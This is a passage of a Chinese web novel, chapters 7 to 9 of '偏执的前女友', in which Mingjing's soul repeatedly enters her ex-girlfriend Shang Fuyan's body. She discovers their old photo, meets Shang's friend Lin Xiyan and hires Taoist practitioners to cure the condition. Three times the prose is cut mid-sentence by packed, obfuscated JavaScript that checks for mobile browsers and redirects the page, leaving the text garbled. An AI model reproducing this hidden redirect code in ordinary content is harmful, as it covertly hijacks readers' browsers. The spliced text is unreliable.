自身的异样,自己又怎么可能不清楚呢。 一旦有所察觉,自然会是调取监控的。 二楼走廊和一楼门口,还有外面院子都有摄像头。 明镜轻呼出了一口浊气,抬起头后把手里的纸张放在了茶几上。 但同时却又看到了桌子上放着的一个优盘。 素白带有骨感好看的指尖拿起了那个优盘,明镜看了一下。 这也是商扶砚刻意放在这里给她的吗? 对于商扶砚这个人,明镜是有些好奇的,虽然她现在进入了别人的身体里面了,可她没有对方的记忆啊。 这同样意味着她对商扶砚还处在一无所知的状态之中。 …… 拿着优盘,明镜犹豫了一下,还是起身上楼回到了书房。 优盘插在电脑上,然后直接就打开了。 这是一个新优盘,里面也并没有什么,只有两个视频。 明镜点开了第一个视频就直接看了起来,画面中出现了一个身影。 虽然在视频中的那个人是商扶砚,但是明镜一眼就看出来了,那是商扶砚,但又不是。 身体是,里面的芯子灵魂不是。 这个视频里面录下的都是她进入商扶砚身体之后所做的事情。 还是高清的那种…… 等到放完了后,明镜点开了第二个视频。 那个视频一打开,镜头里面就赫然是那个商扶砚本尊,而且对方站在摄像头面前,视线是直勾勾的看着摄像头的。 第一帧画面就是商扶砚那张在镜头前放大的脸,而且对方那双如墨沉静无波的眸子还看着前方。 明镜没有任何心理准备,直接就和屏幕中那双眼睛对视上了,然后她的呼吸下意识的就屏住了,心底都好似紧了一下。 因为和对方那双深邃的双眼对视上后,明镜有种她和商扶砚本人在对视的感觉,仿若对方站在了她的面前,而不是存在视频镜头之中。 那种没由来的紧张感和心悸感,令明镜好似在这一刻都听见了这具身体之中那格外清楚的砰砰心跳声。 但是这个视频画面也并未持续多久,视频在接着往前播放,明镜看到的是对方那和她截然不同的气质。 明明是同一个身躯,因其中的灵魂意识不同,所以就直观给人一种格外明显这是两个人的感觉。 但是对方在视频镜头前也没有做什么,转身就做其他的事情去了。 可是看到视频中的那个商扶砚本人,明镜一只手落在了心口处,然后轻轻的按压了一下,想让其中跳动的心脏冷静下来。 没办法,那第一幕画面有点惊吓到她了。 第二个视频时间并不长,只有一分多钟,在明镜还想着刚才商扶砚本人那看向镜头的眼神时,一道声音却是从视频之中响了起来。 比起刚开始的那给人一种心悸受到惊吓的开头不同。 这一道声音虽然听着格外的清冷冷淡,但是其中的平静淡然和平缓轻柔却又并不显得突兀和会令人受到惊吓。 “纸条上的数字是密码。” “又见面了,明镜。” 声音消失,视频时间也结束了。 明镜看着电脑屏幕,明显就是愣了一下。 或许连她自己都未曾想到,商扶砚后面还专门留下了这样的视频录像。 等到明镜回神后,她的指尖戳了一下电脑屏幕。 “我们这算什么,错位时空交流?” 这话说完后,明镜自己都笑了。 好像也算不上错位时空,如今看来,被她强占了身体的商扶砚本人,她的灵魂应该是在身体里面沉睡的吧。 不过同时明镜也觉得这人有点奇怪,遇到这样的事情不慌张就算了,竟然还能够这么冷静淡定的录视频和她打招呼。 就不怕她偷了她的家? “不过,也很高兴认识你。” “商扶砚。” 明镜说着,显然,她以为商扶砚说的话,也是和她一样,都是提前准备再一次预防这样突然发生的意外,她根本就没有多想其他的。 她甚至是都未曾注意到,视频之中的商扶砚本人,那双令人看不透的双眼,一直都是在看着镜头的。 好似要看穿镜头,直接看到她一般。 7. 偏执的前女友 从那一次之后,明镜和商扶砚之间就有了一个不一样的交流方式。 明镜摸不到自己什么时候会进入商扶砚的身体里面。 所以在回到自己身体里面清醒的时候,她每天都会写下一些日记,那是留给她自己的,也是留给明洛栖她们的。 因为灵魂意识进入别人身体之中这件事情,明镜自己都把握不住这种情况会持续多久。 一段时间?还是很久呢?这些都是明镜无法去预判的。 但是又不想明洛栖她们太过担心,所以明镜会留下日记或者纸条这些,让明洛栖她们不要太过担心。 毕竟这事儿告诉了她们,恐怕还会更加的担忧。 …… 而在她昏迷之后,灵魂意识从商扶砚身体里面醒来后。 明镜也会留下一些字条和视频录像,主要是留下和商扶砚交流(对话)。 不过大多时候,商扶砚那边给她的回应都是比较冷淡的,不是一个嗯,就是一个句号,表示她看过了。 当然,几次之后,明镜觉得她和商扶砚两人之间的关系有点介于陌生和有有些亲密的熟悉之后,她也曾留言,问过商扶砚,她们的这个情况,有想过什么办法去解决吗,但是商扶砚那边却并未给她什么答复,是沉默的。 因为没办法和商扶砚当面对话交流,所以商扶砚的冷淡沉默,让明镜不知道这个人到底有什么想法。 遇到这种事情,其中一个当事人一点儿都不着急的样子,明镜也是没有什么办法的。 最后只能够自己一个人找办法,然后默默的干着急了。 ———— 和之前一样,明镜醒来时,看到自己醒来后,房间又变了时,她也没什么意外了。 毕竟她从这个房间醒来的次数,在这半个月里算来次数并不少了。 还带着一些惺忪困意的样子从床上坐起来,明镜扭动了一下颈脖,等到大脑清醒了些许后,偏了一下头看向了床头柜。 那上面留下了一张字条,明镜直接就拿了起来。 上面也没两个字,就一些工作安排和其他的事情交代,还有今天可能会有一个人来家里,让她随意就行。 看到上面的交代,明镜都习以为常了。 记下了上面的内容,字条放回床头柜上,掀开被子就起床走进浴室里。 …… 站在浴室里面的洗漱台前,水龙头的水在哗哗的放着,明镜直接用手接水直接洗脸。 水声停下后,她转身就去拿毛巾。 不过在转身拿毛巾的时候,明镜又是不可避免的看到了放在浴室里的那一面全身镜中的‘自己’。 说实话,第一次走进这个浴室的时候,看到这样一面全身镜放在这里,明镜还有些觉得奇怪,不懂商扶砚怎么在这里放一面全身镜。 虽然不理解,但是明镜也是尊重的,并且觉得这是商扶砚的衣帽镜。 但现在拿着毛巾擦水的明镜看着全身镜中照映出来的身影,手里的动作停了一下,然后走了过去。 镜子里,‘商扶砚’穿着一身柔滑睡衣,腰间还简单的系着一条腰带。 或许是已经睡了一夜,腰带看着已经松垮些许了。 其实这件睡衣很简单正常,但是又因为比较贴身舒服的缘故,所以长度并不是太长。 那双修长笔直的双腿露出来了一半,这双腿很好看。 除此之外,因为有些松散的缘故,修长颈脖下面的精致锁骨也都露了出来。 脸还是那张看着显得清冷的脸,但是如今这个样子,就总给人一种格外性感和魅惑的感觉。 明明什么都没有露,很正常稀疏平常的穿着,但却又愣是偏偏给了人一种不太一样的感觉。 看着镜子中的‘自己’,明镜微微的愣了一下,等到回神的时候,有些不好意思了,视线都不知道该放在哪里了。 明明没有什么的,但明镜就是觉得有些不太好意思了。 她有些略微不怎么自然的抬手拢了拢衣服领口,把那露出了一大片的锁骨遮挡了些许。 在这个过程中,散落身后的青丝也往身后撩动了一下,视线一直落在镜子中‘自己’身上的明镜,她拢衣领的手就微微的顿了一下,接着脚步又往前靠近了一些。 看着镜子中的‘自己’,明镜偏了一下颈脖,然后又把那衣领拉开了一些。 带着一点湿润的指尖落在了那修长白皙的颈脖和锁骨上,然后还来回的摩擦轻触着。 在她看完了一边后,然后又换了一边。 明镜看着镜子中照出来的画面,她的指尖在锁骨下面一点点的地方轻揉着,同时,还能够清楚的看到,那冷白肤色上有着一些浅淡的红印子。 “过敏了吗这是?”明镜有些疑惑的自言自语着。 但是看着那些浅淡不怎么明显的红印子,明镜观察了一下,也不知道这是不是过敏了。 明镜也没有多想,看了一会儿后,她把衣领子拉上了,打算待会儿去翻翻有没有过敏药。 不管是不是过敏,先吃颗过敏药看看在说,明镜想着。 转身,她把毛巾重新挂上了,然后直接离开了浴室。 明镜离开后,她没有回头,所以她没有注意到的是,那一面全身镜中好似有着些许的异样。 里面‘商扶砚’的身影,明显要比她转身时要慢一些。 而且镜子中的人,那双漆黑好似有着浓雾在其中的眸子视线明显一直都落在了她的身上,就好似,镜子中,倒映出来了另一个人一般。 甚至是在镜子中的身影隐去的时候,那双好似盛着无尽黏稠浓雾的眸子,依旧是在安静的注视着明镜的背影,后来,直至彻底隐匿消失。 但是这样诡异的一幕,明镜却是毫无所察觉。 ——— 明镜回到房间后,直接挑选了一套以休闲为主的衣服,然后红着脸闭着眼就直接换上了。 换好衣服后,明镜轻呼出了一口浊气,摸了摸有些发烫的耳朵。 她觉得俯身进入商扶砚的身体里面后,真的是处处不方便。 比如,换衣服……还有洗澡这些就更加不用说了…… 每一次明镜就有种自己是变态的感觉,心底也是觉得格外的羞耻。 毕竟这不是她的身体…… …… 明镜转身就打开了床头柜的柜子,因为她记得之前商扶砚的纸条留言上写了,房间里有药。 不过备用放在床头柜最下层的都是普通的感冒药,说起来,这还是第一次明镜打开这个房间的抽屉呢。 虽然商扶砚说过,屋子里随意,但毕竟这不是她自己的房间,还是有些不怎么好意思。 不过等明镜翻完床头柜这边的柜子后,也没有发现备有过敏药在,倒是看到了一些放在柜子里面的书。 看到柜子中的那些书,明镜意外的嗯了一声。 而明镜意外的不是商扶砚什么所谓的会在床上看书这些等等,她意外的是这些书。 这些并不是什么有关经济或者是一些值得阅读的书籍,而是……小说? 明镜看着那花花绿绿的封面,还有上面的书名,她眨了眨眼,以为自己这是看错了。 怎么说呢,明镜觉得在此刻,商扶砚有种在她心底塌了人设的感觉。 毕竟她做梦都想不到,给人冷淡的商扶砚,是个会看这种中二小说的人。 能想象那种,给人冷冷清清寡言的人,捧着一本一看就中二又非主流封面的小说在认真看的样子的哪个场面吗。 明镜先是安静了一下,最后实在是没忍住因为脑补的画面而笑出了声来。 原本安静的房间里,全是明镜那带着一些咯咯的笑声。 等笑够了后,明镜这才带着努力的下压自己的嘴角。 “抱歉抱歉,是在没忍住。”明镜说着,企图这样减少有点自己的罪恶感。 同时她抽屉里的小说拿了出来,还挺多本的,而且明显都被翻越看过的。 明镜把书拿出来,主要是想要看看这些都是些什么小说。 不过在把上面的几本拿出来放在地板上后,却是看到在书与书间的夹层里看到了一张照片。 明镜也没有多想,直接就把那背面放在里面的照片拿了起来。 刚开始,她以为这是什么风景照或者单人照呢。 但是等明镜拿起来翻过来看清楚了后,她刚才还笑的灿烂的嘴角,瞬间就僵硬了下来。 看着手里那张照片,明镜这一刻,挺希望是自己看花眼了。 但是不论是她僵着手把照片拿远还是放近,甚至是努力聚焦了一下自己的视线,然后现实就是告诉她,她视力好着呢。 刚才灿烂的嘴角,在僵硬后,就缓缓的收敛起来压了下去。 双目微微瞪大的看着手里的照片。 因为那照片既不是风景照,也不是商扶砚的单人照,而是一张合照。 其中一个人,赫然就是她自己…… 这是她和商扶砚的合照! “不会吧?!”明镜小声的姬叫了一声。 照片上的她明显要比现在的她青涩太多太多了,而站着一旁牵着她手,还微微偏着头,双目注视着她的商扶砚,虽然看着也有点青涩,但是仔细一眼,好像和现在没有太大的变化。 可能唯一的变化,就是现在的商扶砚,和照片上的商扶砚,气质上的差别。 照片中要比明镜高上一个脑袋的商扶砚,明显眉目之中都带着温柔的神色,嘴角的一抹浅笑,就显得她更加的温柔两分了。 这样的商扶砚,倒是和现在的商扶砚看着有着很大的反差。 但是,这不是重点! 重点是,这是她和商扶砚的合照!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339078|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>是明镜和商扶砚的合照! 有些人大喜到大悲的过程,也就一张照片的事情。 比如此刻的明镜。 …… 看着这个合照,还有那落下的日期,同时照片中自己那青涩的模样,这些无一不让明镜的额角有些突突的直跳。 人到无语的时候,不一定会笑,但是一定会沉默无言。 明镜有种再一次的意识理解到了什么叫做不要在家里乱翻这句话的含金量有多重了。 看着手里捏着的那张合照,明镜抬手摁了一下眉尾,此刻她的心情有多复杂,恐怕也就只有她自己知道了。 从看到这张合照后,明镜就想起了什么。 她就说之前第一眼看到商扶砚这张脸的时候,为什么会觉得有点熟悉了,名字也好似有些耳熟。 “哈……” 对被自己已经遗忘在了记忆角落中的前女友,她能不觉得眼熟吗。 知道这个事实后,明镜都不知道该怎么来形容自己那复杂的心情了。 看着这合照,明镜有种天道好轮回苍天饶过谁的既视感。 因为当初是她先和商扶砚提了分手…… 但是现在,她的灵魂意识却又跑到了自己的前女友身体里面来了。 而且她也没有想到,商扶砚还会留着这一张照片。 这算什么? 这是要让她和前女友继续纠纠缠缠吗? 顺便再来一个破镜重圆?最后大结局he了? 生活直接戏剧化成小说吗? …… 如果这种事情发生在了别人的身上,明镜觉得自己可以抓一把瓜子慢慢吃瓜。 但是现在发生在了她自己身上,明镜属实是嬉笑不出来。 别说嬉笑了,她觉得自己连笑的力气都没有了。 明镜也有种后知后觉的感觉。 之前商扶砚录视频说,又见面了,明镜。 现在明镜严重怀疑,这人一开始就知道是她了。 所以对方才会现在对她这么冷淡吗? 但是好像也说不通,她是灵魂意识进入了她的身体,商扶砚是怎么确定和知道她的? 明镜眼神都呆滞了一下。 但是脑海中全都是商扶砚是她前女友这件事情。 有时候心情太过复杂之后,人反而是更加冷静的。 后来明镜把那几本小说重新放回了抽屉了,但是那照片却没有在放回去。 等坐在阳台上的椅子上后,明镜看着楼下的花园有些走神了,而那合照则是放在了一旁的桌子上。 ——— 明镜逐渐的想起了一些被她忘记了的记忆,和商扶砚有关的。 初中毕业之后,明镜却并没有在一些教资好的国际学校读高中,而是被明瑜送到了一个镇上去上的高中,叫鹤岭镇。 虽然是镇,但是却又充斥着悠长古韵在里面,有学校。 她的学籍就被转到了镇上的鹤岭高中里。 当时明镜也有些不理解家里大人的想法和安排,但是她并不反感,相反,还挺喜欢那种安静的小镇的。 而和商扶砚,也是在那里认识的。 也不止是认识,因为后面她们还交往了,要不然现在也不会是前女友的关系了。 明镜是在高二认识商扶砚的。 当时的商扶砚听说也是转校生,直接转过来读高三。 和商扶砚的认识是意外,但后面确实是明镜自己主动靠近了对方。 在那样学业繁重的高中,明镜当时也愿意花费时间准备一些小礼物去送给对方。 因为对方不光长得很好看,还是清冷范儿,听闻家庭条件也不太好。 最初明镜只是单纯的想要对这么一个好看的小姐姐好,毕竟这种清冷又家庭破碎的人设,真的很难不让人去注意到她。 说白了就是,明镜被对方那张脸给吃死了。 所以在无人知晓的背地里,明镜是极为厚脸皮的往商扶砚身边凑,暗搓搓的去追人家。 后来高二下学期的时候,有一次明镜和她说,你在不喜欢上我,不答应当我对象,我可就要喜欢别人了。 当时明镜也不过随口一说而已,毕竟还有谁能长得比商扶砚好看的人呢? 但是,但是让明镜当时意外的是,商扶砚她答应了! 那时明镜是惊喜和意外的,也是开心的。 两人的关系转变,除了她们自己,也并没有第三个人知道。 一些同学只是觉得她们两个人走的有点近,但是也没有多想。 在两人确认关系后,明镜和商扶砚之间做了很多的事情。 比如现在这张合照,就是她们一起做的事情之一。 但这一段不为他人所知的关系,却只存续了两个多月…… 后来她们就分手了,是明镜提的…… 8. 偏执的前女友 明镜坐在阳台的椅子上,思绪心情繁乱复杂的不行。 一直到后面林溪言来找她后,明镜这才收回了自己的思绪,站在二楼阳台应了一声,然后转身就拿着那张照片走回了房间。 回到房间,明镜站在床头柜前,看着那张合照。 还是一时半会儿消化不掉这个意外得知的真相。 毕竟这是她做梦都想不到的事情,最后就真发生在了她自己身上了。 但又不得不接受商扶砚真的是她前女友这个事实…… 明镜眼底复杂神色难掩,最后直接深吸了口气,把照片还是放回了原来的位置。 抽屉关上,她转身就离开了房间。 下楼走在楼梯上时,明镜也已经很好的把自己情绪收敛隐藏了起来。 站在楼梯上,看到已经自己走进了客厅坐在沙发上手里还拿着一本杂志在看着的林溪言。 明镜知道她,但是却是第一次见到她。 因为之前商扶砚提过林溪言,看口吻和语气,大约是朋友关系? 明镜思索了一下,但也淡然自若的走了下去。 商扶砚是个话少的,明镜只需要在面对林溪言是沉默寡言居多,就不需要花费太多的心思去应付对方,也不怕有什么穿帮的地方。 林溪言也确实是路过这边,所以顺便过来看看她,或许也知道商扶砚是一个什么样的人,所以也没有待太久。 不过这位充满了知性优雅,但是却又带着一些离经叛道心态的林医生在离开前,还用着奇怪和探究的眼神瞧了一眼明镜。 “我怎么感觉你今天好像变得有些不一样了?” 明镜的身体略微的僵了一下,但却也还是冷静的看着林溪言。 她那淡淡又略带疑惑的样子,让林溪言摸着自己的下巴左右瞧了她两眼。 “感觉你变得……嗯,亲和了?我的错觉吗?” “你之前看到我,不是这里嫌弃,就是哪里嫌弃,没有一次没被你的鞭笞毒打的,你转性了?” 还是人已经变态到极致,返璞归真到另一个高度了? 后面这句话林溪言没说,但是一想到或许有这个可能,她就觉得自己浑身起鸡皮疙瘩了。 那看向‘商扶砚’的眼神瞬间就多了一些警惕在里面。 毕竟她之前可没少受这老妖怪的毒打,只要这人一变态,霍霍的就是她啊! 明镜:“?” 明镜沉默一瞬,看着林溪言那一副表情隐约变了又变的脸。 然后她说了一句:“你有受l虐l癖好?” 明镜没有其他意思,她就单纯好奇的一问,眼底神色在看向林溪言时也略微微妙。 但是她这话说一说完,林溪言先是呆滞了一下,然后脸就直接红了。 “谁有这癖好啊!我没有!” 平时一定是被商扶砚这个老妖怪奴隶惯了,所以现在吃点好的,就开始觉得不习惯了! 这算什么,山猪吃不了细糠? 呸呸呸!她才不是什么猪呢! 也不知道她家老祖宗怎么那么不争气,要是在努努力争点气,她也不至于从小到大生活在这个老妖怪的魔爪下吧。 林溪言心底骂骂咧咧的,最后在明镜的注视下,直接就拿着自己的外套头也不回的就走了。 甚至都不敢开口骂一句明镜,或者说是商扶砚。 因为林溪言最后的骨气了,在多一点就没有了。 …… 明镜则是带着些许疑惑不解的看着林溪言那好似气冲冲的离开的背影。 不是就不是呗,反应这么大做什么? 而且她也没有说什么啊。 明镜倒是想要有心开口想要说点别的,但是林溪言实在是走的太快了,转眼间就走出了外面的前院,上了车,开着车就跑了。 最后明镜把还没有来得及说出口的话给咽了回去。 明镜默默的算了下时间,从她下楼到林溪言离开,这中间有十分钟吗? 不过明镜也没有想要去探究一下林溪言这人和商扶砚平时是个什么相处模式,现在林溪言离开了,她的任务也算是完成了。 后续问题,那就是商扶砚的事情了。 所以明镜起身,上楼,直接去了书房。 …… 书房里,明镜一会儿拿着手机想要录个视频,但是却又不知道该在视频里面说些什么。 反反复复好多次,但愣是没有说出一些她想要表达的那个意思出来。 之前在面对商扶砚时,明镜还能够以平常心态来面对她。 但是现在,在商扶砚这个人的身份上,又和她多加了一层尴尬的关系。 所以明镜反而是多了些尴尬和不自在,看着视频中的那张脸,明镜轻吐出了一口浊气,然后手机关了,放在了一旁。 转而又拿起了纸和笔,涂涂画画不知道多少次,最后却是垃圾桶里面留下了不少的纸团。 拿着笔,明镜一脸纠结,纸张上的字写了又涂改,后来抓了一下头发,愣是不知道现在该给商扶砚留下一句什么话。 最后纠结了半天,明镜直接‘啪’的一下把笔拍在了桌子上。 “要不,还是装作什么都不知道好了?” 这个想法一出,明镜就觉得甚妙! 反正她又不和商扶砚面对面对线,两人平日里交流就是给对方留言,只要她不说,商扶砚就一定不会知道,那她也用不着尴尬为难了! 一举两得啊! “哈,不愧是我啊。” 明镜没忍住自夸了一句,整个人也是肉眼可见的从刚才那一副纠结的样子放松了下来。 手一伸,好看素白的指尖就夹起了那一张沾了墨水的纸,揉成团,随手一抛就扔进了垃圾桶。 她的动作行云流水,倒是莫名的给人一种风流之韵。 重新扯了一张纸后,明镜就拿起笔重新写了几行字,写完后,她满意了。 然后那张纸压在了书桌上,她自己则是起身把垃圾桶的垃圾收拾了一下,毁尸灭迹。 一切恢复原样后,明镜放心了。 ———— 在晚上十二点多后,明镜洗漱完上床躺下不过半个小时后,房间里面的灯又重新亮了起来。 但醒来的这人却并不是明镜,而是这具身体原本的主人——商扶砚。 同样一张脸和一具身体,但是那一双眼睛给人的感觉是完全不相同的。 灵魂意识是明镜主宰这具身体时,那双原本给人冷淡漆黑的眸子,倒是带上了明镜自己本身的一些习性本质,虽然眼睛一样,但却要清透温和些许。 而此刻那一双眸子,清透温和不见了,反而是恢复了它原本那冷淡深邃的样子。 那自带骨子里的冷淡,也让此刻的她好似多了一层迷雾在身侧。 而这个人,才是让林溪言熟悉却又有些害怕的商扶砚。 …… 站在房间里,商扶砚微微低头看了一眼自己的手,重新掌控了自己的身体,但商扶砚却并没有什么特别的反应,很平淡。 后来她去了书房,身姿笔直的坐在椅子上,看着像是要开什么重要的视频会议一般。 但她却拿起了白天被明镜压在了书桌上的那一张纸条。 上面有着几行字,商扶砚看到后,神色没有什么波澜,唯有视线落在了最后面的署名上时,她眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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但是今天一去,面对林溪言的却是商扶砚周身那十年如一如的低气压,还有那看她如看废物的冰冷眼神后,林溪言就知道,她翻车了。 商扶砚还是那个商扶砚。 她根本就是一点儿没变啊!更加别说转性了! 甚至是后来林医生还在想,她昨天穿越了?还是出现幻觉或者是自行开滤镜了? 可她昨天也没吃菌子啊! …… 在林溪言带着淡淡活人微死的自我怀疑中时。 已经回到了自己身体里面的明镜,对于这一切却是一无所知。 早上起来后,明镜第一件事情就是拿起手机,然后联系了一个人,让对方帮她在多联系几个人,最后定下了一个见面的地点。 同时明镜也给明洛栖她们说了一声,自己醒了的事情。 这种昏迷的次数多了,明洛栖她们好似也开始在慢慢的习惯了。 习惯归习惯,但是却不代表她们就不担心了。 但是明镜这边同样不知道的是,在公司的明洛栖,她已经在这快要一个多月的时间里,查出来了一些明家血脉上的线索,也在查一个人,甚至是在无限的靠近对方,暗中的博弈和暗流已经在不知不觉间开始了。 对于这一切,明镜不知情,她和家里人打完招呼后,就收拾了一下自己,然后就出门去了一个地方。 她要去见一个人,或者说,是一群人? 不过去的那个地方位置,却并不是明镜最后挑选和决定的,而是她想要约见的那个人定下的。 后来等明镜按照导航到了地方后,她站在那大门前,人都是肉眼可见的沉默了。 9. 偏执的前女友 在城市一条小吃街的角落里,明镜带着眼镜面无表情的蹲在哪里,手里还拿着手机遮挡住了自己的半边脸。 无他,主要是她怕在这里遇到什么熟人把她认出来了,丢脸。 在她的身边,还蹲了四五个人,有老有少,且个个伸长着脖子看着那街上叫卖的小吃,时不时的还看一眼她们对面那一扇关起来的大门。 明镜默默的缩着自己的身体往后挪动,她不想在当这个显包眼了。 现在就算是让她爬,她也要从这里爬走。 十分钟前,在她站在对面那扇大门前的时候,第一时间意识到不对的时候,她就应该掉头就走的。 当时在风絮说她定地方然后给她发位置的时候,她就应该强硬的拒绝,然后坚持自己的安排了。 但是,这就没有早知道这回事儿! 就像她之前并没有早知道商扶砚就是她前女友这回事儿一样且差不多的性质…… …… 蹲在她前面的几个人,还在嘀嘀咕咕的说着什么,一副望眼欲穿的样子。 就在明镜要脱离这群显包眼的队伍的时候,她的衣领子却是被一只手揪住了。 同时传来了风絮那带着好似如沐春风笑意的声音传进了她的耳中。 “明小姐,要去哪儿啊?” 明镜猫着要悄悄离开的身体瞬间就僵硬停顿了下来,同时还感应到了其他几人那说话的声音也消失了,转过头,视线纷纷落在了她的身上。 偷跑被抓包,明镜也只是尴尬了那么一瞬,很快她就恢复了正常,转过身,面对着那几双定定看着她的眼睛,她格外镇定自若道。 “准备去买点喝的,你们要喝什么,我一起买了。” “或者,你们和我一起?顺便买点吃的,在找个地方坐会儿?顺便聊聊你们接单的事儿?” 明镜语气正常,别说心虚了,甚至是都看不出来她稍显窘迫的样子。 听见她这样一说,风絮不语了,看了一眼其他四人,最后还是年龄稍长一些辈分也高上一辈的师叔一本正经严肃的点头开口了。 “嗯,明小姐安排就好,都听你的。” 明镜看着对面蹲着的一二三四五个人,她的嘴角隐约抽动了一下。 也不知道她的脑子是不是有问题,要不然最后怎么又会找上风絮。 但是一想到自己的事情需要迫在眉睫的解决,而且除了风絮她们,好似也找不到更好更合适的人选后,明镜就觉得脑瓜子一抽一抽的痛。 这一天天的,她怎么这么难啊! “那先去买点吃的。” 明镜说着,墨镜戴好,站起身来,高贵冷艳气质淡然疏离的从这个角落走了出去。 她的这个样子,好似刚才不是和风絮她们蹲角落中的其中一个一样。 后面的风絮她们则是看着她的背影。 站在风絮身边的一个人则是用手肘拐了一下她的胳膊肘。 “可以啊你,来生意了还带着我们一起,好姐妹儿!” “不过我看这位雇主好像也没有什么问题啊。” 说话的人叫霍堇,虽然不是和风絮一个道观的,但两人关系不错,属狐朋狗友一类。 那个辈分要比霍堇高一辈的师叔姓晋,其他两人也是风絮拉来的人。 虽然大家不是一个道观,师承和传代也差着辈分和不同,但是能够凑一块儿来,所看中的就不是这些了,纯粹是性格原因。 风絮扯了一下嘴角,没有先告诉她们实情:“主要是她给的太多了。” 这很难不让人心动啊! 要是把明镜这里的事情解决了,观里面保守五年都不用缺吃穿了! 更加不要说后续香火钱这些了! “你们两先别说了,快跟上,金主都要走远了!” 带着点老顽童性格的晋师叔,扒拉着风絮两人快些追上明镜的脚步,深怕自己慢上一步然后买东西就要自己付钱了。 —— 一个小时后,提着不少吃的明镜带着风絮她们去了一个公园,然后找了一个地方坐下。 虽然还是在一个角落里,但起码比在刚才那个人来人往,个个看她们眼神充满了怪异探究好奇的小吃街那个角落里蹲着要来的好太多了。 但在公园的那棵大树下,气氛又是安静的有些诡异,只有大自然的声音在窸窣的响起。 明镜坐在凳子上,喝着一份饮料,安静的等着。 坐她旁边的风絮则是低头狂吃自己面前的东西,根本不去看对面霍堇四人那变得越来越怪的脸色。 霍堇和晋师叔四人,脸色怪异的看着自己面前扔出去的铜钱或者是随手摘的叶子。 最后霍堇默默的把自己的铜钱给收了回来,抬起头就对着看这她的明镜讪笑了一下。 那个笑,看着很是命苦的样子。 “那个,明小姐,我突然想起我家里还有点事情,要不我就先……” 风絮:“我怎么不知道?” 霍堇:“……” 原本还要有样学样找借口离开的其他三人,听见这话,都看向了风絮,那眼神恨不得把她给吃了一样。 就说这家伙怎么连这样的好事儿都想着她们呢,结果在这等着她们是吧。 霍堇对着明镜尴尬的笑了一下,然后僵硬着脸上的笑就扯着风絮的手起身走到了另一边。 晋师叔三人也是对明镜不怎么好意思的笑了一下,然后也找了个借口凑了过去。 明镜无所谓,格外淡定道:“没关系。” …… 在不远处,霍堇看了一眼拿着手机不知道在和谁聊天的明镜。 “风絮,你这个坑货!她的情况你是不是早知道了?你这是想干嘛,拉我们一块儿下水?” “无卦啊无卦,无可是对应……这事儿我不参合了,多收钱都不行,这就不是我们该插手和去管的事儿。” 霍堇说着,就要准备跑路了。 毕竟她可不想自己短寿,活着不香吗?! 但是她刚转身,风絮却是拉住了她的手:“可她给的真的很多。” 风絮一边说着,一边对着霍堇伸出了手指。 原本转身就要离开的四人,看到风絮出的数,她们的动作就是一顿。 “五万?你说个屁啊!你放开我!”霍堇扒拉着风絮手还是要走。 风絮摇头,晋师叔试探道:“五十……万?这么多啊?” 风絮再一次摇头:“五百万。” 其他四人倒吸了口冷气:“!!!” 她们觉得她们又行了! 有钱能使鬼推磨也不过如此啊! —— 五分钟后,所有人都重新坐回自己的位置上了。 对于她们转头又回来了,而且个个看起来还热情的样子,明镜倒是没有什么太大的反应。 她只道:“所以现在你们商量好了,要接我这个麻烦了吗?” 晋师叔则是乐呵呵一笑:“明小姐哪里的话,我们没说不接啊,刚才只是大家商量了一下,看看明小姐你身上的问题要怎么解决而已。” 其他几人也是纷纷点头,明镜则是看破不说破。 大家都是因为各有目的而坐在了这里,所以明镜也不计较那么多。 “所以我的问题,你们有什么办法解决?越快越好,报酬的话,我还可以在上面多加一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339080|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 听见明镜这豪爽的话,霍堇她们看明镜的眼神更加的不一样了。 这哪里是什么麻烦啊,这分明就是她们的送财童子啊! …… 插科打诨之后,几人倒也严肃认真起来了。 明镜的问题和情况,风絮是知道的,所以她简单的先给霍堇她们说了一下,后面明镜又默默的补充了一些这一个月来发生的事情。 听见明镜的说辞后,风絮她们个个若有所思的样子。 “这样听起来好似也没有哪里不好的啊,除了你自己的身体会陷入昏睡里,离魂时间每次也就一天或者两天,而且另一个身体的主人好像也对你没有什么排斥的反应,你可以当做旅游啊,怎么就着急想要解决这个问题了?” 霍堇有些不明所以的问了一句。 她问完之后,明镜沉默了,唇瓣微微动了一下,最后强撑着道:“不想让家里人担心不行吗?” 霍堇眨了一下眼,点头:“可以。” 明镜:“所以,你们究竟有没有办法解决这个问题?” 霍堇呃了一声,转过头看着风絮和晋师叔两人,因为说起来,这两人的道行要更深一下。 风絮:“这件事情我们得先好好的筹备商讨一下,先解决你自身的问题。” 明镜:“我自身?” 风絮:“你身上有两道因果纠缠太深,血脉也有问题,我们得先寻个法子屏蔽一下,然后在找办法解决你的离魂之症,这个你先拿着,看看能不能压制不让你的灵魂离体。” 明镜听得有点不太懂,但是也知道她们好像有解决的办法。 看着风絮给她的那个巴掌大小的挂着一枚铜钱的桃木剑,明镜捏在了手里。 希望有用。 ——— 